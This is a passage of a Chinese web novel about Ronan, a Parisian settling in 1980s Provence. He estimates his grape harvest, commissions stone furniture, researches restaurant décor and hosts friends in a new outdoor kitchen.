再等一个月,7月份,花朵就要变成葡萄果实,那之后农夫们就没有什么事情做了,坐等成熟。 不过6月份已经可以根据花开的情况对今年的产量有精确的预估了。 罗南的【种植】技能不高,脑袋里只有不多的种植知识,他怕自己预估的不准,把卢尔马兰最厉害的农夫皮埃尔邀请到了葡萄园里。 下午4点,皮埃尔出现在罗南家的葡萄园里。 “这是我第二次进你家的葡萄园吧?”皮埃尔熟练的走在田垄里,一边观察一边和罗南找话题聊。 第一次是进来抓蜗牛。 哦,那些美味的小东西! “第三次。”罗南跟在皮埃尔身后,“我刚到卢尔马兰的时候,你来看过我施肥。” 罗南记得,他第一次下地的时候,这些农夫们看了整整一个下午,紧张得他一边喝酒一边开拖拉机。 皮埃尔恍然大悟的做了一个夸张的表情,随即双手做出拿方向盘的动作: “我记得你拖拉机开的不错。” 罗南耸肩: “我现在开的更好了,但你们都不来看了。” 这些人只会来看他的房子、他的车子,不来看他干活。 皮埃尔哈哈大笑着说: “大家默认你是‘老农夫’,没那么好奇了。” 下地干活是农夫每天都要做的事情,来了陌生人看一次就够了,谁会闲的来看别人种地? 罗南回头对他挑了下眉毛: “但事实确是,今年将是我人生里的第一次‘收获季’,快帮我看看能收获多少吧。” 皮埃尔做起专业的事情既娴熟又专业,他只逛了不到五分之一就开始恭喜罗南: “今年是你的丰收年。” 罗南惊喜的问: “真的?能收多少斤?” 皮埃尔停下来,点了一根烟: “你把它们打理的非常好,最少的一棵藤上也能有4串葡萄,最多的有8串,8亩地总产量应该有1800公斤左右。” 罗南幸福的拍打一下身边的葡萄叶: “那很不错啊。” 其实罗南对葡萄产量没有太大的概念。 不过更加直观的是把它们兑换成酒,这样罗南就有概念了。 老酒馆里的农夫们说,莫力酿酒合作社在秋天收葡萄时有两种模式,一种是直接结算成钱,另外一种方式是结算成等额的酒。 一棵葡萄藤上有4-8串葡萄,平均下来差不多每一棵葡萄藤可以换一瓶酒,而罗南有2700多棵葡萄藤。 那就是2700瓶葡萄酒啊. “哎可惜,莫力酿酒合作不酿粉红酒。”罗南遗憾的说。 要那么多红葡萄酒没有用。 见罗南一副‘跃跃欲试’的样子,皮埃尔表情复杂的说: “说实在的,这对你来说不算是‘很多钱’吧?” 罗南的这8亩地,在专业农夫皮埃尔看来像是‘过家家’一样。 1986年,机械的使用率很高了,厉害的农夫每年可以打理几十亩地。 罗南在开心个什么? 罗南小心翼翼的整理被他打歪的葡萄叶: “它们带来的更多是‘心理满足’,算是城市人的一种‘乡村情节’吧,觉得来普罗旺斯生活了,就应该要种点什么。” 皮埃尔笑着耸肩: “我只在计算它们能给我带来多少钱的时候会有喜悦感。” 罗南开心的说: “金钱的满足感肯定也有。” 皮埃尔原路返回: “明年重新播一次种吧,歌海娜的价格不算高。” 罗南露出向往的神情: “明年不一定种葡萄了,可能会种点别的。” 皮埃尔一副见鬼了的表情,回头看他: “可现在葡萄的行情最高啊,种其他的作物都没有种葡萄赚钱。” 罗南随手拔掉了一根新长出来的杂草: “我说了,这片地带给我的更多的是‘心理’满足,普罗旺斯能种的东西那么多,出名的东西也那么多我想都体验一下。” 皮埃尔笑着摇了摇头,没有说什么。 罗南诧异追上去问: “你居然没有反驳或者质疑我?” 上帝,这个农夫是不是今天没有喝酒? 这还是他认识的那个喜欢挖苦、开人玩笑的皮埃尔吗? 皮埃尔吐出一口烟圈: “事实证明,你做的每一个让人‘质疑’的决定都是正确的,在质疑你之前,我需要先问问自己——你的脸还没被打疼吗?” 罗南还没反应过来,皮埃尔已经勾上了他的脖子,欣喜若狂的问: “你的餐厅要装修成什么样子?也会有罗马柱吗?可以给我们几个留一个位置最好的‘专属座位’吗?” 谢天谢地,罗南还没有开始宣传,餐厅就拥有第一批顾客了。 装修卫生间和改装汽车时,罗南尽量避免外出活动,哪儿都不敢去,因为无论在村子里的哪个角落出现,都会被村民问及相关的问题。 但神奇的是,这次罗南签下商业街那么大的事,居然没有掀起什么太大的‘波澜’。 没人会问他为什么,也没有太多人说他是傻子,大家更关心的是那个餐厅未来会装修成什么样,里面是卖什么的。 仔细回忆 似乎从‘大刀阔斧’的装修后院开始,这些好事的普罗旺斯人便不再问问题,也不再以‘专家’的口吻教罗南做事情。 他们默认这个从巴黎来的小子做一切事情一定有他的道理。 而罗南的农夫好兄弟们,甚至会把这件事以‘夸大’的形式无限宣扬出去。 “罗南开餐厅很难理解吗?那家伙在集市上卖了好几个月的酒和食物,就是一直在给开餐厅做准备啊,他聪明的很,早就开始谋划了。”特奥用大拇指指身后,和村民告别,“不说了,罗南让我去他家聊聊开餐厅的事,他说生意一定非常火爆,太缺人手,想请我去帮忙。” “又喝又喝,天天就知道出去喝酒!”法比安的老婆不耐烦的扔下手里的绣被,似乎想和这个男人分道扬镳。 法比安表情平静的耸肩: “可今天我要去罗南家喝酒,你不愿意我就不去了。” “去罗南家?”法比安的老婆似乎重新在自己男人身上找到了闪光点,“政府找了我弟弟托雷好几次,希望他能在商业街上开一个手工店,他想问问罗南,确认那个项目可以赚钱吗?没有任何隐患?” 法比安无比自信的说: “不用询问罗南,我可以直接告诉你,那条商业街一定会赚钱,罗南是我见过最会赚钱的人,否则你认为我为什么要天天出去喝酒?不过就为了从他嘴里听到些可以让日子过的更好的办法。” 法比安的妻子兴冲冲的跑去给弟弟打电话,同时对法比安招手: “快去吧,快去吧,不用着急回来。” 每周一,卢尔马兰村里做绣被的人,会把他们的成果送到皮雷家,由皮雷统一拉到集市上售卖。 今天康奈尔刚帮母亲把绣被送到,就着急的想要离开。 “康奈尔,你最近‘懒散’了。”康奈尔的母亲严肃的说,“以前你会拿出许多时间学习和提升自己,现在你一有时间就想出去。” 康奈尔紧张的解释: “妈妈,我找到了更快提升自己的办法,罗南是那个可以帮助我变得越来越好的人。” 康奈尔的母亲教育儿子: “你不能把希望寄托在朋友身上,那太被动了。” “但罗南是我最好的朋友!”康奈尔激动的说,“我在他身上学到了很多好的品德和知识,那些都是书上没办法教我的。” 妈妈,罗南身边总是出现漂亮女人,我要时刻跟着他呀。 法比安的妻子忍不住在一旁插嘴: “阿克尼娜,康奈尔说的没有错,在罗南身边无形中会多许多‘发财’的机会。” 皮雷光秃秃的脑袋突然从窗户里探出来: “你们说什么?罗南要发大财了??” 罗南签约商业街造成的连锁反应在卢尔马兰村里持续发酵,陆续开始有人主动去找希维尔问细节的事情。 听到下属汇报,布兰科开心的胡子都歪了: “罗南是卢尔马兰最好的‘发言人’,未来的一切政府项目和‘扶持’都必须让罗南做那个领头人!” 罗南决然不知‘泼天的富贵’已经砸到了自己的头上,还在采石场监督多库做家具呢。 “你确定要把沙发做成这个样子?这太奇怪了。”多库的表情无比复杂。 罗南的威名并没有传到D7公路,这里依然有质疑他的人,而且是接连不断的质疑。 罗南笑嘻嘻的说: “它放进我的后院里简直酷毙了。” 多库不理解的撇了下嘴,再次戴上口罩: “我可太想看看你的后院什么样子了。” 第154章 普罗旺斯式地狱笑话 在普罗旺斯绿色的外皮下,是一颗由石灰岩组成的心脏。 白色的、土黄色的、蜂蜜色的、米白色的.无论走在这片土地的哪个地方,都能看到石灰岩的痕迹。 随着岁月流逝,暴晒在阳光下的石灰岩会老化,但这种材料越老越有魅力。 每次罗南来到采石场,都会觉得自己进入了一所巨大宏伟的‘剧场’,这里形状各异、大小不一的‘演员’用哑剧的形式讲述着一个又一个生动的故事。 “你每天站在那里看什么呢?”多库从工作间出来,看到罗南又在石料里发呆,不理解的问。 “看这些石头啊。”罗南笑着说。 “你都看三天了。”多库每走一步都会掉落一大片白色的灰尘。 “但看三天依然觉得它们很美。”罗南看着像方糖一样的原石说,“尤其是这些没有被雕琢过的。” 罗南要的石材家具大多数是订制款,还是在普罗旺斯不太‘常见’的样式。 多库每天都要打好几个电话,问他确定要按照‘图纸’的样子做吗? 罗南不得不来采石场监工几天,以求多库能‘乖乖’的把活儿干了。 锯子和研磨机的巨大噪音没有停歇的回荡在四周,白色粉尘从四面八方袭来.即使做了层层防护,罗南依然无法在多库身边待太长时间,只能时不时的出来透透气。 结果让他发现了感兴趣的好东西,这些原石。 多库是一个非常喜欢聊天的人,平时采石场里没人陪他说话,见罗南对石材感兴趣,主动问他: “我带你在这里转转?” 罗南疑惑的说: “我每天都在这里转啊。” 这里还能有我没去过的地方? 多库兴奋的说: “你自己转和我带你转,‘看到’的东西不一样。” 说着,他站起来指着不远处的一个圆形石材说: “你告我,那是什么?” 罗南端详了半天,看不出任何奇特的东西,只能报出石材的种类名字: “火石?” 多库得瑟的侧了下脑袋: “那是‘猫头’!” “什么猫头?”罗南微微皱起眉头。 多库双手微张,激情满满的说: “先生,欢迎你来到世界上最受欢迎的石灰岩产地,在这片古老的土地上,有太多关于石头的‘故事’可以给你讲了。” 罗南双手抱胸,用敷衍的语气问: “普罗旺斯是最受欢迎的石灰岩产地吗?” 如果真的是,《密法尔指南》不会忽视这么重要的宣传点。 多库理直气壮的说: “难道不是吗?自由女神像就是出自普罗旺斯的采石场。” 下午,佐伊给罗南家送来了莉亚的拿手菜——红酒炖牛肉。 这已经是这周佐伊第二次来罗南家送食物了。 之所以这样,是由于最近罗天海不停的试菜,导致罗南家桌上的食物太过丰富。 罗天海每天会让罗南拿一部分去和朋友分一分,罗南懒得动脑筋想送给哪个朋友,就次次送去路易家。 就这样.亲密的‘礼尚往来’开始了。 佐伊送完食物,会在罗南家待一小会,然后罗南再给她送回去。 小村庄嘛,没有太多事情做,送来送去也挺有意思的。 “多库昨天给我讲了许多好玩的东西,‘鳄鱼’指锯齿形、如尖牙的锯子,用来切割较软的石材;‘癞蛤蟆’是用来运送十吨重石块的大型送货车;‘宪兵’是一摞堆砌起来的切割石片;‘打牛油’指在石头上钻孔;‘波卡’是双面锤;‘猫头’是指切成球形的石头——”在路上,罗南兴奋的对佐伊说,“你们那个行业也有这么多‘专业术语’吗?” 和多库聊天后发现,这家伙是著名艺术院校雕塑系的科班生,和佐伊算是半个‘同行’,讲起‘故事’来一点都不输佐伊,一个石材都能延伸到上古神话时期。 所以今天见到佐伊,罗南马上和她分享了这些趣事。 佐伊的重点不是那些‘专有名词’,而是罗南最近在做的事情: “你最近每天都去采石场?” 罗南点头: “是的,我要盯着多库做家具。” 佐伊的表情瞬间严肃下来: “采石场的环境非常恶劣,你做好防护了吗?” “做了。”罗南解释,“我戴了耳机,还戴了防尘面罩。” “明天还要继续去吗?”佐伊问。 罗南想了下: “明天不去,但未来还要再去几次。” 和多库沟通的差不多了,他只需要在半个多月的工期内偶尔去看几次就好,不需要每天去盯着了。 佐伊点点头: “一会跟我回家,我给你拿几个更好的防护道具,那些粉尘吸进身体里危害很大。” “好。”罗南答应下来。 佐伊一直很重视施工时的防护工作,拿了那些道具才能让她放心。 看着佐伊美丽的侧脸,罗南忍不住想: 佐伊处处为他着想,给他做了那么多事情。 他能为佐伊做些什么呢? 罗南来到佐伊家,看到路易正在院子里洗他那辆两厢老式雪铁龙。 “今天没有出去?”罗南好奇的问。 路易关掉高压水枪,愤愤不平的说: “我的客户在看房子前‘顺路’去了蔚蓝海岸,现在还堵在蒙特卡罗,我被放了鸽子。” 佐伊示意罗南可以留在这里,她进去拿防护道具。 罗南对佐伊点了下头,而后疑惑的问路易: “你没有提示你的客户,夏天不要走‘蔚蓝海岸’吗?” 在地理上,蔚蓝海岸指代的是一片大区,代表城市有尼斯、戛纳和与法国接壤的摩纳哥。 但通常情况下,提到‘蔚蓝海岸’指的是从马赛到蒙特卡罗的那条几百公里的沿海公路。 那条沿海公路两侧风景秀丽,海滩上全是白花花的肉体,是大家长途旅行的不二之选,很多人即使绕路也要去蔚蓝海岸看看那里的风景,但到了旅游高峰的夏季,那里是‘拥堵’的代名词。 你可以尽情的欣赏沙滩、大海和美女,代价是10公里需要开2个小时。 如果哪个家伙可以用1个小时前进35公里,便已经算是被幸运女神青睐的孩子了。 像这种来看房子的顾客,不应该没有常识的开去那条公路才对,即使他们想去,有经验的路易也应该会拦下他们的。 路易的心情非常糟糕,讲起普罗旺斯式‘低俗’笑话: “也许那两个自以为是的灰老鼠想变成死龙虾呢?” 罗南疑惑的‘嗯’了一声,没听懂路易的话。 莉亚从屋子里抱着衣服出来,不悦的瞥路易: “那一点都不好笑。” 之后她不好意思的给罗南解释: “他说他的客户是英国人。” 路易撇着嘴嘟囔: “英国人只要稍稍一晒太阳,皮肤立刻会红得发亮,不,别说晒太阳.就算是晒月亮也能把他们给烤红!那两个愚蠢的家伙,居然敢跑去‘蔚蓝海岸’晒日光浴?” 罗南低头笑了两声。 普罗旺斯人果然对游客满满的敌意啊。 “他这周被放三次鸽子了.你懂的,旅行大军来了。”莉亚笑着对罗南说,“我做了冰柠茶,进来我给你倒一杯。” “好。”罗南开心的答应下来。 话音刚落,头顶由远及近传来一阵“轰鸣”声。 罗南抬头,看到一架黄红相间的飞机从低空划过,消失在了吕贝隆腹地。 以往情况下,一个陌生的蚂蚁路过卢尔马兰,村民都要把它拦下来,问问从哪里来的,要去哪里。 看到这架造型独特的飞机,莉亚和路易居然没有丝毫好奇。 一个默默的进了屋里,另一个打开高压水枪继续洗车子。 “那是什么飞机?”罗南看着飞机消失的方向问。 路易头都不抬的说: “灭火飞机,游客带来的不止是拥堵,还有森林大火,那个方向肯定着火了。” 罗南‘哇’了一声: “灭火的飞机?” 路易语速缓慢的给他解释: “这种飞机先是拖着一个庞大的水箱去地中海,装上满满一箱水回来,浇到熊熊燃烧的大火上,既节省时间,又节省能源,听说是从鹈鹕身上获得的灵感。” 罗南点了点头,原来是这样。 路易也看向飞机消失的方向: “去年,有一架飞机不小心把一个在海里游泳的游客装进了水箱,之后一起丢进了森林大火里,活生生的把他‘火化’了。” “真的假的?”罗南瞪大眼睛。 路易耸肩,用不容置疑的语气说: “当然是真的,全普罗旺斯人都知道这件事。” 罗南很快发现,路易又一次用了普罗旺斯式一贯‘夸大’修辞,因为在普罗旺斯土生土长的佐伊并没有听说过这个故事。 她一边给罗南调整面罩松紧,一边无奈的说: “这是普罗旺斯的老段子了,每次发生火灾,都有人讲这种‘地狱’笑话,抓到游泳的游客、抓到冲浪的游客、抓到正在开车的游客,如果你听到传言去确认真假,每一个本地人都会添油加醋的告诉你这是真的爸爸真是太无聊了。” 罗南笑得双肩颤抖: “普罗旺斯人太‘恨’游客了,路易这还算好的,你是没见过亨利、特奥和皮埃尔他们讲到游客时的眼神。” 突然,罗南的肩膀停止了颤动。 他注意到在佐伊工作室的门口,出现了一个不速之客。 有一个小家伙脑袋低垂,两只眼睛死死盯着罗南看。 如果罗南没看错的话,它的眼神和农夫们讲到游客时是一样的。 “你说,羊也会有情绪吗?”罗南哭笑不得的问身后的佐伊。 第155章 普罗旺斯特色餐厅之旅 呼呼是那种性格特征非常明显的羊,佐伊经常说,它似乎比狗的智商还要高。 它不喜欢一直呆在羊圈里,会进屋子里面和人互动。 后来发展成了离开院子,去卢尔马兰村里溜达。 罗南在佐伊家附近见过它两次,每次见到罗南它都会像人一样咩咩咩的叫几声,跟打招呼一样,不过今天感觉直接要‘杀人’了。 它低着头‘若无其事’的走进佐伊的工作室,看看这看看那,不一会就钻到罗南和佐伊的中间,用尾巴把罗南向远处拱,之后对佐伊咩咩咩的叫。 “它还是不喜欢有人靠你太近?”罗南低头笑着问。 佐伊在呼呼的脑袋上摸了一下,它马上不叫了: “是的,谁都不行。” 罗南偏偏不信这个邪,又绕到了佐伊的身前。 呼呼掉转了方向,顶罗南的大腿。 “它劲儿还挺大的。”罗南开启迂回策略,从另一个方向靠近佐伊。 “别逗它了。”佐伊把几个防护工具装好,带着罗南出去。 两个人的胳膊刚一碰上,罗南的屁股就被狠狠撞了一下。 他停下来,低头教育呼呼: “你知不知道,是我把你抱上车的?” “咩咩咩——” “要不是我发现你在山坡上吃草,你可能已经变成烤全羊了。” “咩咩咩咩——” “你们的缘分因我而起,不是我,她认识你是谁啊?” “咩咩咩咩咩——” “好了。”佐伊用力拉罗南。 你怎么和羊吵架啊? “这羊太过分了!”罗南严肃的说。 “它一天只进屋一两次”佐伊哭笑不得的说。 罗南抬头,‘生气’的问佐伊: “怎么,我难道还要躲着它进屋的时间来?” 说完,一羊一人吵的不可开交,战况激烈。 莉亚来劝架才把他们分开。 罗南出去消气,佐伊指着呼呼的脑袋说: “那是我的人,你不许欺负他,知不知道?” 呼呼‘咩咩咩’的叫了几声,不知道是答应了,还是在继续骂。 佐伊苦涩的叹气。 这一人一羊未来有的她头疼了。 后院的装修要进行半个多月,这其中包括几百平米的地面施工和石材家具定制。 而这半个月里,罗南也没有闲着。 他在驴棚做了一张可以在户外使用的长桌,还做了一些小的木作装饰。 干活的时候,他同时还在思考一个问题: “需不需现在开始做餐厅所需要的家具呢?” 餐厅的装修体量很大,肯定要去买一部分现成家具,但也有一部分可以靠自己做。 现在是6月底,距离交房日期还有一个月。 如果装修开始后再做家具,那么时间肯定会来不及。 利用交房前的这一个月做家具是最合理的。 可这样的话,罗南就需要提前把餐厅的装修设计定下来,家具和装修风格是相辅相成的。 但他对此毫无头绪 开中餐厅并不代表一定要装修成纯中式,在卢尔马兰这种中世纪小村庄里冒出来一个‘东方’餐厅看起来还是有些突兀的,尤其是室外院子那一部分。 搭配吕贝隆风景、卢尔马兰城堡和土黄色罗马式建筑,一定是具有南法风情的装饰最合适,也最好看,配上‘亭台楼阁’就差点意思了。 但罗南又想让餐厅有一些特色的主题风格,与其他法餐做出差异化.那么这两点要如何平衡呢? 拿不准主意的时候,罗南首先给经验丰富的雅克先生打去了一个电话。 在通知自己要开餐厅的同时,也向他咨询了关于装修的建议。 雅克得知罗南要开餐厅一点不意外。 如果是他,他也会选择把自己擅长的东西‘无限放大’。 不过对于装修 “我建议装修风格尽量保守和安全,在餐厅没有做出名声之前,大部分还是要靠自然游客量,而这些游客是奔着‘普罗旺斯’的名号来的,装修的太‘大胆’有可能会吓到他们。” 罗南回忆雅克先生餐厅的装修风格,发现他确实很‘保守’,装修华丽高贵,但它无论是放在博尼约、马赛还是巴黎都‘成立’。 当然,这也可能是由于他是做法餐的,而且雅克本身就是一个保守的人,他的着装永远是黑西裤白衬衣,不求出彩,只求无过。 咨询完保守的雅克,罗南又联系了会长伊内斯。 这位时尚界的精英造型大胆前卫,她应该能给罗南些不一样的建议和看法。 伊内斯接到罗南的电话非常开心和兴奋。 自从吃过一次‘菌汤火锅’她就忘不掉了,但又不好意思张口再去他家里‘叨扰’。 得知罗南真的开起了餐厅,她一连说了三句“太棒了”。 终于可以正大光明的去吃了! “我赞同你的部分看法,露天餐区要考虑四周的环境和氛围,但室内可以设计一些‘特色’元素,混搭也是一种时尚。” “您的意思是,室内和室外可以是两种风格?” “当然可以是两种风格,室内和室外有两种不同的用餐体验也很棒不是吗?” 伊内斯的话给了罗南一个新的思路,他感激的说: “谢谢你伊内斯,我大概明白了。” 伊内斯继续对他说: “雅克所谓的‘安全’指的是风格安全,但不意味着不可以有‘大胆’的点缀和装饰,如果你不希望出错误,又想有自己的特色就在‘细节’上做一做文章吧。” 和雅克、伊内斯通过电话后,罗南有了初步判断。 政府赠送的院子,他会启用更加符合普罗旺斯特色的装修策略,以求和建筑、风景的统一化。 但140平米的室内部分,可以稍微做一些区别化处理。 罗南只打算把一层拿出来做餐厅,二楼和三楼做住宅。 游客喜欢在室外看着风景吃饭,即使是10度左右他们也要坐在外面,所以只有冬天的那几个月他们才会在室内用餐。 普罗旺斯的冬季非常短,没必要留太大的空间。 “在‘安全’中体现‘特色’吗?”罗南摸了摸下巴,“是不是要先确认下,什么是‘安全’?” 来普罗旺斯马上半年了,罗南去过大大小小的很多餐厅,不过这些餐厅在罗南看来都属于‘老旧’那一派的,就连雅克的米其林二星餐厅也不例外。 这也是没有办法的事,现在是1986年,‘老旧’就是主旋律。 这是餐厅,不是私人住宅,罗南不能做太大胆的设计,要考虑时代的特性。 不过,1986年就没有新东西了吗? 想到这里,他又拿起了电话。 他想到一个可以帮他的人。 “你能来我的餐厅,我真是太开心了。”阿图尔的开心绝不是装出来的,他跑到了距离自己餐厅30米外的地方迎接罗南。 罗南笑着对阿图瓦说: “今天要麻烦你了。” 罗南打算看一看普罗旺斯近期新开的餐厅都装修成了什么样子,以此找找灵感,不过他没有这方面的资源,于是想到了阿图瓦。 阿图瓦的小圈子每次见面聊的都是类似的话题,他们非常在意行业里的新情况。 除此之外,罗南找阿图瓦还有一个目的。 他发现这个人非常在意‘中餐’,不止一次问他锅包肉的配方。 粉红酒爱好者协会的聚会上,杰罗姆曾提示罗南,千万不要怕被同行‘抄袭’和‘模仿’,一个人根本无法把中餐推广出去,所以他特意把自己要开中餐厅的消息告诉给阿图瓦。 不出所料,阿图瓦热情的邀请罗南来他的餐厅聊一聊,并且答应带他去近期开过的‘特色’餐厅去看看。 “先进来吧,我们边喝边聊。”阿图尔热情的把罗南迎进自己的餐厅。 这是罗南第一次来阿图尔的餐厅,进去的第一感觉是这里和普罗旺斯的大部分餐厅装修风一致,深色的木质家具、白色的墙体,标准的法式餐厅风格。 两个人在靠窗的位置坐下,阿图尔‘贴心’的给罗南倒了一杯粉红酒: “什么时候开业?” 罗南意外的挑了下眉毛。 他从未在阿图尔面前喝过粉红酒,这个家伙听到什么消息了吗? “还早呢,8月才开始装修。” 阿图尔有些意外的说: “那可不是个好时候啊,开业的时候游客们都离开了。” 8月浩浩荡荡的旅游大军就要‘回城’了。 罗南无所谓的耸了下肩膀: “他们还会再来的。” 阿图尔突然笑了起来: “确实没关系,你可以让‘朋友’们帮帮忙,应该还是有顾客的。” 罗南抬头看他。 阿图尔坐到罗南的对面: “我听说,连阿普特的蜜饯大王加布里埃尔都去你家吃中餐了。” 罗南笑着摇头: “你的消息还真是灵通。” 阿图尔平摊双手: “消息不灵通也没有资格给你帮忙了不是吗?说说吧,想看什么样子的餐厅?” 罗南丝毫不好奇阿图尔是从哪里听到的这个消息,总之他知道自己背后‘有人’就行了: “我想去看一些新开的、装修风格有特色的餐厅。” 阿图尔举起自己的红酒杯: “你真幸运,阿普特正巧有一家很有特色的。” 阿图尔带罗南参观的第一家餐厅就在这附近,两个人可以步行前往。 “我真是没想到,你居然会在装修上下那么大的功夫。”阿图尔随便起了一个话题和罗南聊天。 “只是先了解一下。”罗南语气平静的说。 “我以为这个时候你会闷头研制新的菜品,像锅包肉那样优秀的菜品。”阿图尔依然忘不掉锅包肉的口感和味道。 “也在同时做,只不过是我父亲在做。”罗南不疾不徐的说。 “你父亲?”阿图尔意外的问,“主厨不是你吗?” 罗南笑着耸肩: “看来你的消息还不够全面啊,我的父亲是一名优秀的中餐厨师,并不是我锅包肉也是他教我的。” 阿图尔面露喜色。 原来罗南背后还有一个‘老师’。 那是不是可以从他父亲身上学到锅包肉的配方呢? “你父亲在巴黎?”他继续问。 罗南摇头: “不,他已经来普罗旺斯了。” 阿图尔帮罗南推开眼前的大门,同时用开玩笑的语气说: “真希望能有机会和你父亲见一面,尝尝他亲手做的菜。” 要想办法去罗南家一次,和他父亲接触上! 罗南回头对他微微一笑,做了个请的手势: “肯定有机会的,等我的餐厅开起来,里面的菜都是他做的。” 阿图尔:“.” 进入到这家餐厅后,罗南眼前一亮。 果然和普罗旺斯其他餐厅的风格不同。 墙壁用水泥做了简约但绝不简单的造型,家具装饰也以自然和清新为主。 1986年,已经有人用这种风格了吗? 这家餐厅的老板是阿图尔的朋友,他热情的接待了二人,并给他们介绍自己的装修理念: “摩纳哥流行起了一种‘地穴’风餐厅,在当地非常风靡,我在它的基础上,加入了法餐的基本元素‘取长补短’,并找了巴黎的著名设计师把它实现出来。” “取什么长,又补了什么短?”阿图瓦环顾四周。 “普罗旺斯的游客热爱这里的‘阳光’和‘新鲜空气’,光线和色彩不能让他们感觉到压抑。”他指了指四周,“你觉得这里有洞穴的压抑感吗?” 罗南摸着桌子说: “还有简约和简单。” 罗南回想起接送佐伊时去过的两个艾克斯热门餐厅。 那里没有繁复的桌椅,也没有夸张的装饰,一切都是那么的自然。 艾克斯是欧洲文化的重要版图。 那里的餐厅风格能代表当下最时尚的‘流行元素’。 “没错!”那位老板笑着对阿图尔说,“你带来的这个朋友很懂嘛。” 罗南开心的笑了起来。 这一趟没有白来,他学到东西了。 阿图尔带罗南去的第二个餐厅在索格岛。 “居然是这里”罗南看着门头说,“我路过过。” 他和佐伊来逛跳蚤市场的那天路过过这里,但它的门头平平无奇,没有勾起他和佐伊的兴趣。 “别看它门头平平无奇,里面会让你惊喜的。”阿图尔笑着说。 阿图尔的话并不假。 罗南进入这个餐厅,似乎来到了一片新的‘天地’。 餐厅的面积并不大,但老板别出心裁的在中间放了一颗树,房顶和墙壁上也全部是绿植。 “我的装修预算很少,没办法和其他餐厅拼豪华程度,所以家具和配饰选用的都是便宜款式,但我太太喜欢森林,她希望我的餐厅里能有‘森林’元素。”老板自嘲的说,“我就买了一颗树放进来,它只花了200多法郎,那些绿植也不值钱,本来是想敷衍一下她,没想到效果却出奇的好。” 罗南做出若有所思的神情。 他的装修预算也不高,即使加上卢尔马兰政府给的那1万法郎,也可以用‘捉襟见肘’来形容,所以他同样没有和其他餐厅拼豪华的资本. 这样看来,只需要一些价钱不高但重要的点缀,就可以把餐厅的视觉效果完全改变了。 “怎么样?”离开餐厅阿图瓦问罗南。 “今天的收获非常多。”罗南开心的说,“你帮了我大忙。” 阿图尔满意的点头: “走吧,我们去看下一家。” “哦,不不,不了。”罗南看了一眼时间,“我该回家了。” 阿图尔心中一动,建议道: “今天和你聊得非常开心,不如我们去你家继续聊一聊?” 罗南歉意的说: “今天不行,今天有朋友去我家里聚会。” 虽然餐厅最终装修成什么样他还没有完全决定,但院子的设计是他早就想好的。 用餐区的户外厨房搭好了。 冯珍邀请了路易他们来家里吃饭。 罗南想赶紧回家看看,朋友们对他设计的户外厨房和用餐区是如何反馈的。 第156章 人满为患的后院 普罗旺斯人喜欢大自然,他们认为在夜空下、在大自然里和朋友畅聊人生、把酒言欢才是生活应该有的样子。 因此家家户户会在院子里布置一个用餐区域,但有户外厨房的家庭少,至少卢尔马兰不多。 烧烤也是法国人很喜爱的一种烹饪方式,卢尔马兰大部分家庭会在户外放一个烧烤架,那就是他们的‘户外厨房’了。 不过罗南家的户外厨房是真真正正的大厨房,罗南特意让卡福用普罗旺斯石材堆砌出来的。 父母到普罗旺斯后,罗南家也开始举办朋友聚会了。 只是‘火锅’就热热闹闹的吃了两次,其他的日子罗南一家也通常会用中餐来招待朋友。 今天,为了用上刚刚搭起来的户外厨房区域,冯珍建议吃烧烤和披萨,这样她就可以一直在心心爱爱的院子里忙碌了。 罗南从索格岛回来,发现家里只有罗天海一个人。 “人呢?还没来吗?”罗南洗了一下手,协助父亲一起处理食材。 罗天海用脑袋指后院: “都来了,在院子里聊天呢。” 罗南疑惑的问: “院子还没弄完,哪里有那么多坐的地方?” 后院最重要的会客区还在施工,只有罗马柱那一个区域可以坐人,但那里的位置也不够啊。 罗天海摇头: “没坐,在户外厨房听你妈妈‘演讲’呢。” 自从后院一点点建成,冯珍逢人便要介绍一遍: 这个院子是我儿子给我设计的、他知道我喜欢漂亮的大院子、设计罗马柱是因为他知道我最喜欢的电影是《罗马假日》、设计大厨房是因为我喜欢做饭你看我儿子好吧? 罗南心照不宣的点了下头,把菜刀递给罗天海: “为什么不在屋里讲?” 罗天海洗了洗手,在围裙上擦了一下: “屋里讲?呵你妈说晚上要把床铺到户外餐桌上,不进屋了。” 罗南憋着笑‘哦’了一声,在厨房里找了一圈,没找到可以盛放羊肉的容器: “咱家的盆和碗呢?” 罗天海把菜刀重重剁到羊肉上: “都被她拿出去了,我和她结婚23年,从来不知道她还热爱‘做饭’呢。” “还没结婚时,我就喜欢下厨。”冯珍从橱柜里拿出一个罗南卖锅包肉用的大盘子,“厨房是最让我有安全感的地方。” “把剥好的大蒜放这里吧。”她把盘子放到罗南亲手制作的桌子上。 弗雷迪直接扔了一颗大蒜进嘴里: “中国烧烤里居然有一道烤大蒜吗?我就说我和中餐有缘分!” “中国的烧烤和法国的不一样。”冯珍又从橱柜里拿了几个碗出来,“尼斯烧烤要放酒,牧区人要用浓重的调料腌制肉类后再火烤,但我们烧烤时喜欢吃肉本身的味道,只有蔬菜上会刷一些酱料。” 她把一盆酱料分到几个小碗里,对大家说: “这是我做的秘制酱料,你们可以把它刷到蔬菜上。” 说着,她拿起抹布擦拭已经增光瓦亮的烤炉,表情狂热的像是数法郎一样。 罗南把切好的羊肉端出来时,听到的恰好就是最后这句话。 他用力咬住嘴唇控制自己不要笑出来。 上帝啊,爸爸知道他的秘制酱料被人‘剽窃’了吗? “你们放下吧,我来弄。”罗南把羊肉放下后,对大家说。 妈妈真的够了! 怎么能让这么多客人一起帮忙啊? “哦不不不!”莉亚已经开始给蔬菜刷酱料了,“在这么棒的户外厨房里做饭是一件享受,我们主动要求帮忙的。” 阿兰突然紧张的骂了一句脏话,原来是他不小心把酱料滴到了户外厨房的台面上: “该死的,这么美丽的厨房绝不能弄脏。” 罗南环顾四周,中午他走的时候这里还没有桌子和椅子,现在家具布置上,看起来感觉确实挺不错的,把用餐区和户外厨房设计在最舒适的树荫下是个明确的选择。 路易手里的酒杯换成了木签: “罗南,羊肉要怎么弄?我想我也爱上下厨了。” 莉亚紧张的抢下他手里的东西; “但厨房并不爱你,路易.你快离开这个区域吧,求求你了。” 大家笑成一团,弗雷迪和阿兰不停拿路易开玩笑。 路易没有生气,也没有觉得难为情,坐到椅子上享受的说: “那我坐在这里看你们可以吗?我现在真的不想离开这里!” 今天的‘主厨’是好几个人,有的串串、有的切菜,大家在大自然的召唤下纷纷行动起来,连腿脚不太好的老卡尔都帮忙布置起了餐桌。 与这里的‘其乐融融’相比,独自在屋里做‘凉菜’的罗天海显的太过孤独了,看这里人力充裕到插不上手,罗南打算进屋给父亲帮忙,但他刚要离开,母亲就把他叫住。 